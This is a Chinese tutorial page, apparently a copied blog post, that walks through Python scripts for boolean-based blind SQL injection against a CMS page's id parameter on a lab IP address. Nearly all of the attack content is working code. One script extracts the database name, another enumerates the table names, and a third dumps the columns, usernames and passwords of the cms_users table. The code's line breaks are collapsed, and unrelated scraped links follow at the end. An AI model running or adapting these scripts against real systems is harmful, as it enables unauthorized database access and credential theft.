当前位置: 首页 > news >正文

SQL注入漏洞:CMS布尔盲注python脚本编写

SQL注入漏洞:CMS布尔盲注python脚本编写

文章目录

  • SQL注入漏洞:CMS布尔盲注python脚本编写
    • 库名爆破
    • 爆破表名
    • 用户名密码爆破

在这里插入图片描述

库名爆破

import requests
#库名
database=""
x=0
while requests.get(url=f"http://10.9.47.77/cms/show.php?id=33%20and%20length(database())={x}").headers['Content-Length']!= '5263':x+=1   #爆出当前库名长度
for j in range(1,x+1):# 对库名的每个字符进行爆破for i in range(20,127):response=requests.get(url=f"http://10.9.47.77/cms/show.php?id=33%20and%20ascii(substr(database(),{j},1))={i}")  #爆破库名if response.headers['Content-Length']== "5263" :  #如果长度为5263说明爆破成功database=database+chr(i)
print(database) #打印库名

效果:
在这里插入图片描述

爆破表名

table_name_list=[]
x=0
while requests.get(url=f"http://10.9.47.77/cms/show.php?id=35%20and%20length((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%20{x},1))<999").headers['Content-Length'] == "5146":x+=1  #统计表的数量
for i in  range(0,x):y=1while requests.get(url=f"http://10.9.47.77/cms/show.php?id=35%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%20{i},1),{y},1))%3E20").headers['Content-Length']== "5146":y+=1    #统计每个表名有几个字符table_name = ""for j in range(1,y):   # 对每个表名里的字符进行爆破for k in range(20,127):if requests.get(url=f"http://10.9.47.77/cms/show.php?id=35%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%20{i},1),{j},1))={k}").headers['Content-Length'] == "5146":table_name+=chr(k)print(table_name)table_name_list.append(table_name)
print(table_name_list)

在这里插入图片描述

用户名密码爆破

import requests
x=0
account_list=[]
while requests.get(url=f"http://10.9.47.77/cms/show.php?id=35 and length((select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit {x},1))").headers["Content-Length"] == "5146":x += 1
#x为字段个数
print("所有表名:")
for i in range(0,x+1):account = ""for j in range(1,100):flag=0for k in range(20,127):if requests.get(url=f"http://10.9.47.77/cms/show.php?id=35 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit {i},1),{j},1))={k}").headers["Content-Length"] == "5146":account+=chr(k)flag=1if flag== 0:breakprint(account)account_list.append(account)
user_List=[]
password_list=[]
for l in account_list:if l=="username" or l == "password":for i in range(0,100):flag=0user = ""password = ""for j in range(1,100):dump=0for k in range(20,127):if requests.get(url=f"http://10.9.47.77/cms/show.php?id=35 and ascii(substr((select {l} from cms_users limit {i},1),{j},1))={k}").headers["Content-Length"] == "5146":if l=="username":user+=chr(k)dump=1else:password+=chr(k)dump=1if dump==0:breakflag=1if flag==0:breakif l == "username":user_List.append(user)else:password_list.append(password)
print("账号:密码")
for i in range(0,len(user_List)) :print(f"{user_List[i]}:{password_list[i]}")

在这里插入图片描述

http://www.lryc.cn/news/221644.html

相关文章:

  • security
  • 了解web3,什么是web3
  • Harbor企业级Registry基础镜像仓库的详细安装使用教程(保姆级)
  • Linux系统下数据同步服务RSYNC
  • Docker介绍及其常用命令
  • SwissArmyTransformer瑞士军刀工具箱使用手册
  • unity【动画】脚本_角色动画控制器 c#
  • Java代码如何对Excel文件进行zip压缩
  • 改进YOLO系列:12.Repulsion损失函数【遮挡】
  • win11网络连接正常,但是无法正常上网
  • 硬科技企业社区“曲率引擎”品牌正式发布
  • 少儿编程 2023年9月中国电子学会图形化编程等级考试Scratch编程三级真题解析(判断题)
  • MCU常见通信总线串讲(二)—— RS232和RS485
  • LazyVim: 将 Neovim 升级为完整 IDE | 开源日报 No.67
  • 想要搭建网站帮助中心,看这一篇指南就对了!
  • 92.更新一些收藏的经验贴总结学习
  • mysql 问题解决 4
  • llama-7B、vicuna-7b-delta-v1.1和vicuna-7b-v1.3——使用体验
  • 深入理解JVM虚拟机第十九篇:JVM字节码中方法内部的结构和与局部变量表中变量槽的介绍
  • windows好玩的cmd命令
  • 线扫相机DALSA--常见问题四:修改相机参数,参数保存无效情况
  • linux中用date命令获取昨天、明天或多天前后的日期
  • 【无标题】360压缩软件怎么用?超级好用!
  • 一图搞懂傅里叶变换(FT)、DTFT、DFS和DFT之间的关系
  • 行情分析——加密货币市场大盘走势(11.7)
  • 阿里微服务质量保障系列:故障演练
  • 基于springboot+vue开发的教师工作量管理系
  • 【NI-DAQmx入门】NI-DAQmx之C、C++、VB、VB.net与C#支持
  • python转xml为json
  • PHP Curl请求封装